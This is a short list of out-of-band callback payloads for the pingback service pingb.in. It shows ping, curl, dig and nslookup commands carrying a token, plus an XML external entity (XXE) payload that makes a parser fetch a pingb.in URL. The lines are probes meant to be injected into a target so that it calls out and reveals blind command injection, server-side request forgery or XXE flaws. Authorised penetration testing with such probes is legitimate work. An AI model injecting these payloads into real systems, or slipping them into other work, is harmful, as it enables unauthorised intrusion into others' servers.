$ ping -c1 -p 006b5dd3cab81cdb120fcd8426e28000 pingb.in
$ curl pingb.in/p/6b5dd3cab81cdb120fcd8426e280
$ dig 6b5dd3cab81cdb120fcd8426e280 @pingb.in
$ dig 6b5dd3cab81cdb120fcd8426e280.ns.pingb.in
C:\> nslookup 6b5dd3cab81cdb120fcd8426e280 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/6b5dd3cab81cdb120fcd8426e280">]> <foo>&xxe;</foo>